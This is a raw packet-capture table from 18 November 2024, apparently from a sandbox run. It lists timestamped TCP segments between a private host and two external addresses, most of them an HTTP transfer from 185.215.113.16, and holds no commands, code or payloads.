Nov 18, 2024 20:21:34.928658009 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.928683996 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.928698063 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.929472923 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.929785013 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.929815054 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.930099010 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.930104971 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.968776941 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.968974113 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.969238997 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.969331026 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.969352961 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.969367027 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.969372034 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.973376989 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.973440886 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.973521948 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.973714113 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.973747015 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.011670113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011686087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011698961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011719942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011732101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011744022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011755943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011764050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011768103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011781931 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011811972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011823893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011833906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011837959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011847019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011858940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011868000 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011869907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011881113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011889935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011892080 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011915922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011924028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011934996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011945963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011957884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.011965990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.011987925 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027352095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027367115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027373075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027385950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027399063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027411938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027412891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027424097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027478933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027533054 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027544975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027558088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027570009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027582884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027595043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027607918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027614117 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027620077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027632952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027648926 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027673006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027869940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027882099 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027899027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027910948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027919054 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027921915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027934074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027945042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027956963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027957916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.027967930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027981043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.027985096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028008938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028016090 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028042078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028059006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028060913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028072119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028090954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028100967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028110981 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028112888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028125048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028137922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028145075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028151035 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028163910 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028176069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028187037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028193951 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028206110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028218031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028229952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028229952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028243065 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028254986 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028254986 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028266907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028278112 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028280973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028290033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028301954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028314114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028326988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028331041 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028337955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028351068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028371096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028394938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028837919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028858900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028872013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028882980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028894901 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028896093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028908014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028920889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.028923988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028954029 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028971910 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.028990030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029011011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029022932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029035091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029047012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029051065 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.029058933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029069901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029081106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029093981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.029102087 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.029133081 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.042905092 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.042973042 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.043190956 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.043332100 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.043349981 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.043359995 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.043365955 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.046399117 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.046453953 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.046813011 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.046919107 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.046933889 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.061199903 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.061322927 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.061412096 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.061475039 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.061475039 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.061499119 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.061516047 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.062696934 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.062839031 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.062902927 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.063355923 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.063355923 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.063374043 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.063390970 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.063816071 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.063843966 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.063906908 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.064039946 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.064049006 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.065160990 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.065185070 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.065942049 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.065942049 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.065988064 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.071963072 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131371021 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131388903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131413937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131428003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131438971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131452084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131459951 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131494045 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131519079 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131716013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131773949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131787062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131819010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131865978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131877899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131891966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131906033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131917000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131920099 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131937027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131951094 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131952047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131963968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.131969929 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.131997108 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.132031918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.132044077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.132055044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.132078886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.132096052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.137794971 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.138289928 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.138307095 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.138765097 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.138771057 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.144119978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144131899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144144058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144176006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144182920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144196033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144207954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144229889 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144253969 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144551992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144563913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144576073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144589901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144599915 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144603968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144615889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144625902 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144629002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144642115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144650936 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144653082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144670963 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144691944 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144704103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144715071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.144736052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144757986 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.144788027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.145024061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.145065069 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.147821903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147844076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147856951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147869110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147881031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147901058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147913933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147924900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147929907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.147938013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147952080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.147959948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148030043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148071051 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148109913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148121119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148133039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148145914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148156881 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148185968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148216009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148227930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148269892 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148287058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148300886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148312092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148340940 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148354053 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148538113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148550987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148561954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148575068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148588896 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148597956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148610115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148619890 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148628950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148641109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148653030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148665905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148665905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148685932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148711920 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148750067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148762941 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148773909 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148812056 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148818970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148830891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148843050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148854971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148865938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.148869991 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148895979 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.148906946 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149070024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149082899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149096012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149122000 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149180889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149194002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149204016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149214029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149219990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149226904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149247885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149249077 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149261951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149269104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149274111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149276018 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149288893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149312019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149312019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149322987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149336100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149347067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149353027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149360895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149367094 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149398088 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149679899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149730921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149743080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149770975 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149780989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149794102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149805069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.149821043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.149848938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.251976967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252005100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252019882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252043962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252057076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252068996 CET	80	49748	185.215.113.16	192.168.2.5
